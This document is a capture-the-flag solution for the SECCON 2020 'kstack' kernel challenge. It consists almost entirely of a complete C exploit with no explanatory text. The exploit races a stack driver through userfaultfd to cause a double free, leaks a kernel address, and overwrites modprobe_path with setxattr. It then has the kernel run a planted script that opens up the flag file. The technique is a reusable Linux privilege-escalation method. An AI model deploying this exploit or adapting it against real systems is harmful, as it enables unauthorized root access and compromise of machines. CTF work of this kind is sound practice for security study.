SECCON 2020 KSTACK

setxattr modprobe_path userfaultfd shm

Exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <stdint.h>
#include <poll.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <errno.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/stat.h>
#include <sys/ipc.h>
#include <sys/xattr.h>

#define CMD_PUSH 0x57ac0001
#define CMD_POP 0x57ac0002

#define die(msg) do { perror(msg); exit(EXIT_FAILURE); } while(0)

int fd;
int procfd;
int phase = 1;
static int page_size;

size_t leak_heap, leak_base, modprobe_path;

void push(size_t *val)
{
if (ioctl(fd, CMD_PUSH, val) < 0)
die("push");
}

void pop(size_t *val)
{
if (ioctl(fd, CMD_POP, val) < 0)
die("pop");
}

static void *
fault_handler(void *arg)
{
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;

static char *page = NULL;
struct uffdio_copy uffdio_copy;
size_t nread;

uffd = (long) arg;

/* create a page that will be copied into the faulting region */
if (page == NULL){
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
die("mmap error");
}

/*
* polling loop
* handling incoming events on the uffd file descriptor
*/

for(;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
die("poll error");

printf("\nfault_handler_thread():\n");

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
die("EOF on userfaultfd");

if (nread == -1)
die("read");

/* only expect UFFD_EVENT_PAGEFAULT */

if (msg.event != UFFD_EVENT_PAGEFAULT)
die("unexpected event on uffd");

/* copy the page pointed to by 'page' into the faulting
* region. vary the contents that are copied in, so that
* if is more obvious that each fault is handled separetely */

/* if write fault */
if(msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE)
{
puts("process wirte fault\n");

size_t tmp;
pop(&tmp);

struct uffdio_range range;
range.start = msg.arg.pagefault.address & ~(page_size - 1);
range.len = page_size;
/* unregister this range */
if(ioctl(uffd, UFFDIO_UNREGISTER, &range) == -1)
die("ioctl unregister");
/* then wake up main thread */
if(ioctl(uffd, UFFDIO_WAKE, &range) == -1)
die("ioctl wake");
}
/* read fault */
else
{
printf("process read fault\n");
size_t tmp = 0x12121212;
if(phase == 1)
{
pop(&tmp);
printf("leak addr: %p\n", (void *) tmp);
leak_base = tmp;
phase = 0;
}
else
{
puts("process setxattr");
strncpy(&tmp, "/tmp/x", 8);
push(&tmp);
push(&tmp);
system("/tmp/dummy");
system("cat /flag");
}

*(size_t *)page = 0;
fault_cnt++;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
die("ioctl uffdio copy");
}
}
}

int main()
{
int s;
long uffd;
char *addr;
size_t len;
pthread_t pt;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

page_size = sysconf(_SC_PAGE_SIZE);
len = 4*page_size;

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if(uffd == -1)
die("userfaultfd syscall");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
die("ioctl uffdio api");

/* create fault page */

addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(addr == MAP_FAILED)
die("main process mmap error");

/* register uffd range */

uffdio_register.range.start = (size_t) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
die("ioctl uffdio register");

/* create handler thread */

s = pthread_create(&pt, NULL, fault_handler, (void *) uffd);

if(s != 0)
die("create thread error");

/* exploit */

system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

fd = open("/proc/stack", O_RDWR);
if(fd < 0)
die("open device error");

size_t value = 0xdeadbeef;

char *shm_addr;
int shmid = shmget(0x66, 0x1000, SHM_R | SHM_W | IPC_CREAT);

if(shmid < 0)
die("shm err");

shm_addr = shmat(shmid, 0, 0);
if(shm_addr == -1)
die("shmat err");

shmdt(shm_addr);

push(addr); //trigger read fault
push(&value); //push junk element
pop(addr+page_size); //trigger write fault, double free in handler thread

modprobe_path = leak_base + (0xFFFFFFFF81C2C540 - 0xffffffff81c37bc0);
printf("modprobe_path: %p\n", (void *)modprobe_path);

/*
* write 8 bytes in second page (last 8 bytes)
* which is already handled by kernel
*/

*(size_t *)(addr+2*page_size-8) = modprobe_path - 8;

setxattr("/init", "attr", addr+2*page_size-8, 32, 0);
return 0;
}